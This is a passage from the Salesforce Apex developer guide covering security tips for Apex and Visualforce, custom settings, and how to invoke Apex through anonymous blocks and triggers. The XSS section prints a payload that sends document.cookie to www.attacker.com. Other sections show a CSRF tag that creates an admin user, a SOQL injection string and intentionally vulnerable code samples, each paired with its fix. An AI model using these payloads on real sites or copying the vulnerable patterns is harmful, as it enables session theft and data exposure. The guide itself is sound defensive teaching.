coding mistakes a developer can make on the Force.com platform are similar to general Web application security vulnerabilities,
while others are unique to Apex.
To certify an application for AppExchange, it is important that developers learn and understand the security flaws described
here. For additional information, see the Force.com Security Resources page on Developer Force at
http://wiki.developerforce.com/page/Security.

Cross Site Scripting (XSS)
Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided
to a Web application. The Web application includes malicious scripting in a response to a user of the Web application. The
user then unknowingly becomes the victim of the attack. The attacker has used the Web application as an intermediary in the
attack, taking advantage of the victim's trust for the Web application. Most applications that display dynamic Web pages
without properly validating the data are likely to be vulnerable. Attacks against the website are especially easy if input from
one user is intended to be displayed to another user. Some obvious possibilities include bulletin board or user comment-style
websites, news, or email archives.
For example, assume the following script is included in a Force.com page using a script component, an on* event, or a
Visualforce page.
<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo =
'{!$CurrentPage.parameters.userparam}';</script>

This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following
value for userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the
cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if
they were the victim.
The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but
their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety
of attacks against the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks,
such as stealing data or session cookies, allowing an attacker full access to the victim's session.
For more information on this attack in general, see the following articles:
•
•
•
•

http://www.owasp.org/index.php/Cross_Site_Scripting
http://www.cgisecurity.com/articles/xss-faq.shtml
http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
http://www.google.com/search?q=cross-site+scripting

Within the Force.com platform there are several anti-XSS defenses in place. For example, salesforce.com has implemented
filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods,

174
Working with Data in Apex

Security Tips for Apex and Visualforce Development

the threats of XSS flaws have been largely mitigated. However, the creative developer can still find ways to intentionally or
accidentally bypass the default controls. The following sections show where protection does and does not exist.
Existing Protection
All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following
code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but
the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form.
For example, the < character is converted to &lt; so that a literal < displays on the user's screen.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>

Disabling Escape on Visualforce Tags
By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting
the optional attribute escape="false". For example, the following output is vulnerable to XSS attacks:
<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

Programming Items Not Protected from XSS
The following items do not have built-in XSS protections, so take extra care when using these tags and objects. This is because
these items were intended to allow the developer to customize the page by inserting script commands. It does not makes sense
to include anti-XSS filters on commands that are intentionally added to a page.
Custom JavaScript
If you write your own JavaScript, the Force.com platform has no way to protect you. For example, the following code is
vulnerable to XSS if used in JavaScript.
<script>
var foo = location.search;
document.write(foo);
</script>

<apex:includeScript>
The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these
cases, be very careful to validate that the content is safe and does not include user-supplied data. For example, the
following snippet is extremely vulnerable because it includes user-supplied input as the value of the script text. The value
provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as
in the example below), they can potentially direct the victim to include any JavaScript file from any other website.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

Unescaped Output and Formulas in Visualforce Pages
When using components that have set the escape attribute to false, or when including formulas outside of a Visualforce
component, output is unfiltered and must be validated for security. This is especially important when using formula expressions.
Formula expressions can be function calls or include information about platform objects, a user's environment, system
environment, and the request environment. It is important to be aware that the output that is generated by expressions is not
escaped during rendering. Since expressions are rendered on the server, it is not possible to escape rendered data on the client
using JavaScript or other client-side technology. This can lead to potentially dangerous situations if the formula expression

175
Working with Data in Apex

Security Tips for Apex and Visualforce Development

references non-system data (that is potentially hostile or editable data) and the expression itself is not wrapped in a function
to escape the output during rendering.
A common vulnerability is created by rerendering user input on a page. For example,
<apex:page standardController="Account">
<apex:form>
<apex:commandButton rerender="outputIt" value="Update It"/>
<apex:inputText value="{!myTextField}"/>
</apex:form>
<apex:outputPanel id="outputIt">
Value of myTextField is <apex:outputText value=" {!myTextField}" escape="false"/>
</apex:outputPanel>
</apex:page>

The unescaped {!myTextField} results in a cross-site scripting vulnerability. For example, if the user enters :
<script>alert('xss')

and clicks Update It, the JavaScript is executed. In this case, an alert dialog is displayed, but more malicious uses could be
designed.
There are several functions that you can use for escaping potentially insecure strings.
HTMLENCODE
The HTMLENCODE function encodes text strings and merge field values for use in HTML by replacing characters
that are reserved in HTML, such as the greater-than sign (>), with HTML entity equivalents, such as &gt;.
JSENCODE
The JSENCODE function encodes text strings and merge field values for use in JavaScript by inserting escape characters,
such as a backslash (), before unsafe JavaScript characters, such as the apostrophe (').
JSINHTMLENCODE
The JSINHTMLENCODE function encodes text strings and merge field values for use in JavaScript within HTML
tags by inserting escape characters before unsafe JavaScript characters and replacing characters that are reserved in HTML
with HTML entity equivalents.
URLENCODE
The URLENCODE function encodes text strings and merge field values for use in URLs by replacing characters that
are illegal in URLs, such as blank spaces, with the code that represent those characters as defined in RFC 3986, Uniform
Resource Identifier (URI): Generic Syntax. For example, exclamation points are replaced with %21.
To use HTMLENCODE to secure the previous example, change the <apex:outputText> to the following:
<apex:outputText value=" {!HTMLENCODE(myTextField)}" escape="false"/>

If a user enters <script>alert('xss') and clicks Update It, the JavaScript is not be executed. Instead, the string is encoded
and the page displays Value of myTextField is <script>alert('xss').
Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped
counterparts may vary. For instance, this statement:
<script>var ret = "{!$CurrentPage.parameters.retURL}";script>var ret =
"{!$CurrentPage.parameters.retURL}";</script>

176
Working with Data in Apex

Security Tips for Apex and Visualforce Development

requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped
", since it is going to be used in a link. Otherwise, the request:
http://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F

results in:
<script>var ret = "foo";alert('xss');//";</script>

The JavaScript executes, and the alert is displayed.
In this case, to prevent the JavaScript being executed, use the JSENCODE function. For example
<script>var ret = "{!JSENCODE($CurrentPage.parameters.retURL)}";</script>

Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization,
it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with
higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine
the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which
has been imported from external sources and may not have been screened for malicious content.

Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way
to describe CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com. This could be
any Web page, including one that provides valuable services or information that drives traffic to that site. Somewhere on the
attacker's page is an HTML tag that looks like this:
<img
src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....."
height=1 width=1 />

In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your
Web page when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds
because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative
by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses, see the following articles:
•
•
•

http://www.owasp.org/index.php/Cross-Site_Request_Forgery
http://www.cgisecurity.com/articles/csrf-faq.shtml
http://shiflett.org/articles/cross-site-request-forgeries

Within the Force.com platform, salesforce.com has implemented an anti-CSRF token to prevent this attack. Every page
includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of
this string of characters and does not execute the command unless the value matches the expected value. This feature protects
you when using all of the standard controllers and methods.
Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a
custom controller where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider
the following code snippet.
<apex:page controller="myClass" action="{!init}"</apex:page>
public class myClass {
public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];

177
Working with Data in Apex

Security Tips for Apex and Visualforce Development

delete obj;
return ;
}
}

In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The
id parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might
have sent the user to this page using a CSRF attack and provided any value they wish for the id parameter.
There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action
based upon a user-supplied parameter like the id variable in the preceding example. A possible work-around is to insert an
intermediate confirmation page before taking the action, to make sure the user intended to call the page. Other suggestions
include shortening the idle session timeout for the organization and educating users to log out of their active session and not
use their browser to visit other sites while authenticated.

SOQL Injection
In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own
database query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks
are much lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection.
In summary SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If
the input is not validated, it can include SOQL commands that effectively modify the SOQL statement and trick the application
into performing unintended commands.
For more information on SQL Injection attacks see:
•
•
•
•

http://www.owasp.org/index.php/SQL_injection
http://www.owasp.org/index.php/Blind_SQL_Injection
http://www.owasp.org/index.php/Guide_to_SQL_Injection
http://www.google.com/search?q=sql+injection

SOQL Injection Vulnerability in Apex
Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection.
<apex:page controller="SOQLController" >
<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query}“ />
</apex:form>
</apex:page>
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String qryString = 'SELECT Id FROM Contact WHERE ' +
'(IsDeleted = false and Name like '%' + name + '%')';
queryResult = Database.query(qryString);
return null;
}
}

This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted.
The user provides one input value called name. The value can be anything provided by the user and it is never validated. The

178
Working with Data in Apex

Security Tips for Apex and Visualforce Development

SOQL query is built dynamically and then executed with the Database.query method. If the user provides a legitimate
value, the statement executes as expected:
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

However, what if the user provides unexpected input, such as:
// User supplied value for name: test%') OR (Name LIKE '

In that case, the query string becomes:
SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended
logic of any vulnerable query.
SOQL Injection Defenses
To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables.
The vulnerable example above can be re-written using static SOQL as follows:
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String queryName = '%' + name + '%';
queryResult = [SELECT Id FROM Contact WHERE
(IsDeleted = false and Name like :queryName)];
return null;
}
}

If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds
the escape character () to all single quotation marks in a string that is passed in from a user. The method ensures that all
single quotation marks are treated as enclosing strings, instead of database commands.

Data Access Control
The Force.com platform makes extensive use of data sharing rules. Each object has permissions and may have sharing settings
for which users can read, create, edit, and delete. These settings are enforced when using all standard controllers.
When using an Apex class, the built-in user permissions and field-level security restrictions are not respected during execution.
The default behavior is that an Apex class has the ability to read and update all data within the organization. Because these
rules are not enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would
normally be hidden from users by user permissions, field-level security, or organization-wide defaults. This is particularly true
for Visualforce pages. For example, consider the following Apex pseudo-code:
public class customController {
public void read() {
Contact contact = [SELECT id FROM Contact WHERE Name = :value];
}
}

179
Working with Data in Apex

Custom Settings

In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view
these records. The solution is to use the qualifying keywords with sharing when declaring the class:
public with sharing class customController {
. . .
}

The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in,
rather than granting full access to all records.

Custom Settings
Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create
and associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application
cache, which enables efficient access without the cost of repeated queries to the database. This data can then be used by formula
fields, validation rules, Apex, and the SOAP API.
There are two types of custom settings:
List Custom Settings
A type of custom setting that provides a reusable set of static data that can be accessed across your organization. If you
use a particular set of data frequently within your application, putting that data in a list custom setting streamlines access
to it. Data in list settings does not vary with profile or user, but is available organization-wide. Examples of list data
include two-letter state abbreviations, international dialing prefixes, and catalog numbers for products. Because the data
is cached, access is low-cost and efficient: you don't have to use SOQL queries that count against your governor limits.
Hierarchy Custom Settings
A type of custom setting that uses a built-in hierarchical logic that lets you “personalize” settings for specific profiles or
users. The hierarchy logic checks the organization, profile, and user settings for the current user and returns the most
specific, or “lowest,” value. In the hierarchy, settings for an organization are overridden by profile settings, which, in
turn, are overridden by user settings.
The following examples illustrate how you can use custom settings:
•
•

A shipping application requires users to fill in the country codes for international deliveries. By creating a list setting of all
country codes, users have quick access to this data without needing to query the database.
An application displays a map of account locations, the best route to take, and traffic conditions. This information is useful
for sales reps, but account executives only want to see account locations. By creating a hierarchy setting with custom
checkbox fields for route and traffic, you can enable this data for just the “Sales Rep” profile.

You can create a custom setting in the Salesforce user interface: from Setup, click Develop > Custom Settings. After creating
a custom setting and you’ve added fields, provide data to your custom setting by clicking Manage from the detail page. Each
data set is identified by the name you give it.
For example, if you have a custom setting named Foundation_Countries__c with one text field Country_Code__c, your data
sets can look like the following:
Data Set Name

Country Code Field Value

United States

USA

Canada

CAN

United Kingdom

GBR

180
Working with Data in Apex

Custom Settings

You can also include a custom setting in a package. The visibility of the custom setting in the package depends on the
Visibility setting.
Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must
populate the custom settings using Apex code run by the subscribing organization after they’ve installed the package.
Apex can access both custom setting types—list and hierarchy.
Note: If Privacy for a custom setting is Protected and the custom setting is contained in a managed package, the
subscribing organization cannot edit the values or access them using Apex.

Accessing a List Custom Setting
The following example returns a map of custom settings data. The getAll method returns values for all custom fields associated
with the list setting.
Map<String_dataset_name, CustomSettingName__c> mcs = CustomSettingName__c.getAll();

The following example uses the getValues method to return all the field values associated with the specified data set. This
method can be used with both list and hierarchy custom settings, using different parameters.
CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);

Accessing a Hierarchy Custom Setting
The following example uses the getOrgDefaults method to return the data set values for the organization level:
CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults();

The following example uses the getInstance method to return the data set values for the specified profile. The getInstance
method can also be used with a user ID.
CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);

See Also:
Custom Settings Methods

181
WAYS TO INVOKE APEX

Chapter 8
Invoking Apex
In this chapter ...
•
•
•
•
•
•
•

Anonymous Blocks
Triggers
Asynchronous Apex
Web Services
Apex Email Service
Visualforce Classes
Invoking Apex Using JavaScript

This chapter describes in detail the different mechanisms for invoking Apex
code.
Here is an overview of the many ways you can invoke Apex. You can run Apex
using:
•
•
•
•
•
•
•

A code snippet in an anonymous block.
A trigger invoked for specified events.
Asynchronous Apex by executing a future method, scheduling an Apex class
to run at specified intervals, or running a batch job.
Apex Web Services, which allow exposing your methods via SOAP and
REST Web services.
Apex Email Service to process inbound email.
Visualforce controllers, which contain logic in Apex for Visualforce pages.
The Ajax toolkit to invoke Web service methods implemented in Apex.

182
Invoking Apex

Anonymous Blocks

Anonymous Blocks
An anonymous block is Apex code that does not get stored in the metadata, but that can be compiled and executed using one
of the following:
•
•
•

Developer Console
Force.com IDE
The executeAnonymous SOAP API call:
ExecuteAnonymousResult executeAnonymous(String code)

You can use anonymous blocks to quickly evaluate Apex on the fly, such as in the Developer Console or the Force.com IDE,
or to write code that changes dynamically at runtime. For example, you might write a client Web application that takes input
from a user, such as a name and address, and then uses an anonymous block of Apex to insert a contact with that name and
address into the database.
Note the following about the content of an anonymous block (for executeAnonymous, the code String):
•
•
•
•
•
•
•

Can include user-defined methods and exceptions.
User-defined methods cannot include the keyword static.
You do not have to manually commit any database changes.
If your Apex trigger completes successfully, any database changes are automatically committed. If your Apex trigger does
not complete successfully, any changes made to the database are rolled back.
Unlike classes and triggers, anonymous blocks execute as the current user and can fail to compile if the code violates the
user's object- and field-level permissions.
Do not have a scope other than local. For example, though it is legal to use the global access modifier, it has no meaning.
The scope of the method is limited to the anonymous block.
When you define a class or interface (a custom type) in an anonymous block, the class or interface is considered virtual by
default when the anonymous block executes. This is true even if your custom type wasn’t defined with the virtual
modifier. Save your class or interface in Salesforce to avoid this from happening. Note that classes and interfaces defined
in an anonymous block aren’t saved in your organization.

Even though a user-defined method can refer to itself or later methods without the need for forward declarations, variables
cannot be referenced before their actual declaration. In the following example, the Integer int must be declared while
myProcedure1 does not:
Integer int1 = 0;
void myProcedure1() {
myProcedure2();
}
void myProcedure2() {
int1++;
}
myProcedure1();

The return result for anonymous blocks includes:
•
•

Status information for the compile and execute phases of the call, including any errors that occur
The debug log content, including the output of any calls to the System.debug method (see Understanding the Debug
Log on page 329)

183
Invoking Apex

•

Triggers

The Apex stack trace of any uncaught code execution exceptions, including the class, method, and line number for each
call stack element

For more information on executeAnonymous(), see SOAP API and SOAP Headers for Apex. See also Working with
Logs in the Developer Console and the Force.com IDE.

Triggers
Apex can be invoked through the use of triggers. A trigger is Apex code that executes before or after the following types of
operations:
•
•
•
•
•
•

insert
update
delete
merge
upsert
undelete

For example, you can have a trigger run before an object's records are inserted into the database, after records have been deleted,
or even after a record is restored from the Recycle Bin.
You can define triggers for top-level standard objects that support triggers, such as a Contact or an Account, some standard
child objects, such as a CaseComment, and custom objects.
•
•

For case comments, from Setup, click Customize > Cases > Case Comments > Triggers.
For email messages, from Setup, click Customize > Cases > Email Messages > Triggers.

Triggers can be divided into two types:
•
•

Before triggers can be used to update or validate record values before they are saved to the database.
After triggers can be used to access field values that are set by the database (such as a record's Id or lastUpdated field),
and to affect changes in other records, such as logging into an audit table or firing asynchronous events with a queue.

Triggers can also modify other records of the same type as the records that initially fired the trigger. For example, if a trigger
fires after an update of contact A, the trigger can also modify contacts B, C, and D. Because triggers can cause other records to
change, and because these changes can, in turn, fire more triggers, the Apex runtime engine considers all such operations a
single unit of work and sets limits on the number of operations that can be performed to prevent infinite recursion. See
Understanding Execution Governors and Limits on page 236.
Additionally, if you update or delete a record in its before trigger, or delete a record in its after trigger, you will receive a runtime
error. This includes both direct and indirect operations. For example, if you update account A, and the before update trigger
of account A inserts contact B, and the after insert trigger of contact B queries for account A and updates it using the DML
update statement or database method, then you are indirectly updating account A in its before trigger, and you will receive
a runtime error.

Implementation Considerations
Before creating triggers, consider the following:
•
•

upsert triggers fire both before and after insert or before and after update triggers as appropriate.
merge triggers fire both before and after delete triggers for the losing records and before update triggers for the

•

winning record only. See Triggers and Merge Statements on page 192.
Triggers that execute after a record has been undeleted only work with specific objects. See Triggers and Recovered Records
on page 192.

184
Invoking Apex

•
•

Bulk Triggers

Field history is not recorded until the end of a trigger. If you query field history in a trigger, you will not see any history
for the current transaction.
For Apex saved using Salesforce.com API version 20.0 or earlier, if an API call causes a trigger to fire, the chunk of 200
records to process is further split into chunks of 100 records. For Apex saved using Salesforce.com API version 21.0 and
later, no further splits of API chunks occur. Note that static variable values are reset between API batches, but governor
limits are not. Do not use static variables to track state information between API batches.

Bulk Triggers
All triggers are bulk triggers by default, and can process multiple records at a time. You should always plan on processing more
than one record at a time.
Note: An Event object that is defined as recurring is not processed in bulk for insert, delete, or update triggers.

Bulk triggers can handle both single record updates and bulk operations like:
•
•
•
•

Data import
Force.com Bulk API calls
Mass actions, such as record owner changes and deletes
Recursive Apex methods and triggers that invoke bulk DML statements

Trigger Syntax
To define a trigger, use the following syntax:
trigger triggerName on ObjectName (trigger_events) {
code_block
}

where trigger_events can be a comma-separated list of one or more of the following events:
•
•
•
•
•
•
•

before insert
before update
before delete
after insert
after update
after delete
after undelete

Note:
•
•

You can only use the webService keyword in a trigger when it is in a method defined as asynchronous; that is,
when the method is defined with the @future keyword.
A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime
error when the trigger is called in bulk from the Force.com API.

185
Invoking Apex

Trigger Context Variables

For example, the following code defines a trigger for the before insert and before update events on the Account
object:
trigger myAccountTrigger on Account (before insert, before update) {
// Your code here
}

The code block of a trigger cannot contain the static keyword. Triggers can only contain keywords applicable to an inner
class. In addition, you do not have to manually commit any database changes made by a trigger. If your Apex trigger completes
successfully, any database changes are automatically committed. If your Apex trigger does not complete successfully, any
changes made to the database are rolled back.

Trigger Context Variables
All triggers define implicit variables that allow developers to access runtime context. These variables are contained in the
System.Trigger class:
Variable

Usage

isExecuting

Returns true if the current context for the Apex code is a trigger, not a Visualforce page, a
Web service, or an executeanonymous() API call.

isInsert

Returns true if this trigger was fired due to an insert operation, from the Salesforce user
interface, Apex, or the API.

isUpdate

Returns true if this trigger was fired due to an update operation, from the Salesforce user
interface, Apex, or the API.

isDelete

Returns true if this trigger was fired due to a delete operation, from the Salesforce user
interface, Apex, or the API.

isBefore

Returns true if this trigger was fired before any record was saved.

isAfter

Returns true if this trigger was fired after all records were saved.

isUndelete

Returns true if this trigger was fired after a record is recovered from the Recycle Bin (that is,
after an undelete operation from the Salesforce user interface, Apex, or the API.)

new

Returns a list of the new versions of the sObject records.
Note that this sObject list is only available in insert and update triggers, and the records
can only be modified in before triggers.

newMap

A map of IDs to the new versions of the sObject records.
Note that this map is only available in before update, after insert, and after
update triggers.

old

Returns a list of the old versions of the sObject records.
Note that this sObject list is only available in update and delete triggers.

oldMap

A map of IDs to the old versions of the sObject records.
Note that this map is only available in update and delete triggers.

size

The total number of records in a trigger invocation, both old and new.

186
Invoking Apex

Trigger Context Variables

Note: If any record that fires a trigger includes an invalid field value (for example, a formula that divides by zero),
that value is set to null in the new, newMap, old, and oldMap trigger context variables.
For example, in this simple trigger, Trigger.new is a list of sObjects and can be iterated over in a for loop, or used as a
bind variable in the IN clause of a SOQL query:
Trigger t on Account (after insert) {
for (Account a : Trigger.new) {
// Iterate over each sObject
}
// This single query finds every contact that is associated with any of the
// triggering accounts. Note that although Trigger.new is a collection of
// records, when used as a bind variable in a SOQL query, Apex automatically
// transforms the list of records into a list of corresponding Ids.
Contact[] cons = [SELECT LastName FROM Contact
WHERE AccountId IN :Trigger.new];
}

This trigger uses Boolean context variables like Trigger.isBefore and Trigger.isDelete to define code that only
executes for specific trigger conditions:
trigger myAccountTrigger on Account(before delete, before insert, before update,
after delete, after insert, after update) {
if (Trigger.isBefore) {
if (Trigger.isDelete) {
// In a before delete trigger, the trigger accesses the records that will be
// deleted with the Trigger.old list.
for (Account a : Trigger.old) {
if (a.name != 'okToDelete') {
a.addError('You can't delete this record!');
}
}
} else {
// In before insert or before update triggers, the trigger accesses the new records
// with the Trigger.new list.
for (Account a : Trigger.new) {
if (a.name == 'bad') {
a.name.addError('Bad name');
}
}
if (Trigger.isInsert) {
for (Account a : Trigger.new) {
System.assertEquals('xxx', a.accountNumber);
System.assertEquals('industry', a.industry);
System.assertEquals(100, a.numberofemployees);
System.assertEquals(100.0, a.annualrevenue);
a.accountNumber = 'yyy';
}
// If the trigger is not a before trigger, it must be an after trigger.
} else {
if (Trigger.isInsert) {
List<Contact> contacts = new List<Contact>();
for (Account a : Trigger.new) {
if(a.Name == 'makeContact') {
contacts.add(new Contact (LastName = a.Name,
AccountId = a.Id));
}
}
insert contacts;
}
}
}}}

187
Invoking Apex

Context Variable Considerations

Context Variable Considerations
Be aware of the following considerations for trigger context variables:
•
•
•
•

trigger.new and trigger.old cannot be used in Apex DML operations.

You can use an object to change its own field values using trigger.new, but only in before triggers. In all after triggers,
trigger.new is not saved, so a runtime exception is thrown.
trigger.old is always read-only.
You cannot delete trigger.new.

The following table lists considerations about certain actions in different trigger events:
Trigger Event

Can change fields using

Can update original object
using an update DML
operation

Can delete original object
using a delete DML
operation

Not applicable. The original
object has not been created;
nothing can reference it, so
nothing can update it.

trigger.new

Not applicable. The original
object has not been created;
nothing can reference it, so
nothing can update it.

before insert

Allowed.

after insert

Not allowed. A runtime error Allowed.
is thrown, as trigger.new
is already saved.

before update

Allowed.

after update

Not allowed. A runtime error Allowed. Even though bad
is thrown, as trigger.new code could cause an infinite
is already saved.
recursion doing this
incorrectly, the error would be
found by the governor limits.

before delete

Not allowed. A runtime error
is thrown. trigger.new is
not available in before delete
triggers.

after delete

Not allowed. A runtime error Not applicable. The object has Not applicable. The object has
is thrown. trigger.new is already been deleted.
already been deleted.
not available in after delete
triggers.

after undelete

Not allowed. A runtime error Allowed.
is thrown. trigger.old is
not available in after undelete
triggers.

Allowed, but unnecessary. The
object is deleted immediately
after being inserted.

Not allowed. A runtime error Not allowed. A runtime error
is thrown.
is thrown.
Allowed. The updates are
saved before the object is
deleted, so if the object is
undeleted, the updates become
visible.

Allowed. The updates are
Not allowed. A runtime error
saved before the object is
is thrown. The deletion is
deleted, so if the object is
already in progress.
undeleted, the updates become
visible.

188

Allowed, but unnecessary. The
object is deleted immediately
after being inserted.
Invoking Apex

Common Bulk Trigger Idioms

Common Bulk Trigger Idioms
Although bulk triggers allow developers to process more records without exceeding execution governor limits, they can be
more difficult for developers to understand and code because they involve processing batches of several records at a time. The
following sections provide examples of idioms that should be used frequently when writing in bulk.

Using Maps and Sets in Bulk Triggers
Set and map data structures are critical for successful coding of bulk triggers. Sets can be used to isolate distinct records, while
maps can be used to hold query results organized by record ID.
For example, this bulk trigger from the sample quoting application first adds each pricebook entry associated with the
OpportunityLineItem records in Trigger.new to a set, ensuring that the set contains only distinct elements. It then queries
the PricebookEntries for their associated product color, and places the results in a map. Once the map is created, the trigger
iterates through the OpportunityLineItems in Trigger.new and uses the map to assign the appropriate color.
// When a new line item is added to an opportunity, this trigger copies the value of the
// associated product's color to the new record.
trigger oppLineTrigger on OpportunityLineItem (before insert) {
// For every OpportunityLineItem record, add its associated pricebook entry
// to a set so there are no duplicates.
Set<Id> pbeIds = new Set<Id>();
for (OpportunityLineItem oli : Trigger.new)
pbeIds.add(oli.pricebookentryid);
// Query the PricebookEntries for their associated product color and place the results
// in a map.
Map<Id, PricebookEntry> entries = new Map<Id, PricebookEntry>(
[select product2.color__c from pricebookentry
where id in :pbeIds]);
// Now use the map to set the appropriate color on every OpportunityLineItem processed
// by the trigger.
for (OpportunityLineItem oli : Trigger.new)
oli.color__c = entries.get(oli.pricebookEntryId).product2.color__c;
}

Correlating Records with Query Results in Bulk Triggers
Use the Trigger.newMap and Trigger.oldMap ID-to-sObject maps to correlate records with query results. For example,
this trigger from the sample quoting app uses Trigger.oldMap to create a set of unique IDs (Trigger.oldMap.keySet()).
The set is then used as part of a query to create a list of quotes associated with the opportunities being processed by the trigger.
For every quote returned by the query, the related opportunity is retrieved from Trigger.oldMap and prevented from being
deleted:
trigger oppTrigger on Opportunity (before delete) {
for (Quote__c q : [SELECT opportunity__c FROM quote__c
WHERE opportunity__c IN :Trigger.oldMap.keySet()]) {
Trigger.oldMap.get(q.opportunity__c).addError('Cannot delete
opportunity with a quote');
}
}

189
Invoking Apex

Defining Triggers

Using Triggers to Insert or Update Records with Unique Fields
When an insert or upsert event causes a record to duplicate the value of a unique field in another new record in that batch,
the error message for the duplicate record includes the ID of the first record. However, it is possible that the error message
may not be correct by the time the request is finished.
When there are triggers present, the retry logic in bulk operations causes a rollback/retry cycle to occur. That retry cycle assigns
new keys to the new records. For example, if two records are inserted with the same value for a unique field, and you also have
an insert event defined for a trigger, the second duplicate record fails, reporting the ID of the first record. However, once
the system rolls back the changes and re-inserts the first record by itself, the record receives a new ID. That means the error
message reported by the second record is no longer valid.

Defining Triggers
Trigger code is stored as metadata under the object with which they are associated. To define a trigger in Salesforce:
1. For a standard object, from Setup, click Customize, click the name of the object, then click Triggers.
For a custom object, from Setup, click Create > Objects and click the name of the object.
For campaign members, from Setup, click Customize > Campaigns > Campaign Member > Triggers.
For case comments, from Setup, click Customize > Cases > Case Comments > Triggers.
For email messages, from Setup, click Customize > Cases > Email Messages > Triggers.
For comments on ideas, from Setup, click Customize > Ideas > Idea Comments > Triggers.
For the Attachment, ContentDocument, and Note standard objects, you can’t create a trigger in the Salesforce user interface.
For these objects, create a trigger using development tools, such as the Developer Console or the Force.com IDE.
Alternatively, you can also use the Metadata API.
2. In the Triggers related list, click New.
3. Click Version Settings to specify the version of Apex and the API used with this trigger. If your organization has installed
managed packages from the AppExchange, you can also specify which version of each managed package to use with this
trigger. Use the default values for all versions. This associates the trigger with the most recent version of Apex and the
API, as well as each managed package. You can specify an older version of a managed package if you want to access
components or functionality that differs from the most recent package version.
4. Click Apex Trigger and select the Is Active checkbox if the trigger should be compiled and enabled. Leave this checkbox
deselected if you only want to store the code in your organization's metadata. This checkbox is selected by default.
5. In the Body text box, enter the Apex for the trigger. A single trigger can be up to 1 million characters in length.
To define a trigger, use the following syntax:
trigger triggerName on ObjectName (trigger_events) {
code_block
}

where trigger_events can be a comma-separated list of one or more of the following events:
•
•
•
•
•
•

before insert
before update
before delete
after insert
after update
after delete

190
Invoking Apex

•

Defining Triggers

after undelete

Note:
•
•

You can only use the webService keyword in a trigger when it is in a method defined as asynchronous; that
is, when the method is defined with the @future keyword.
A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime
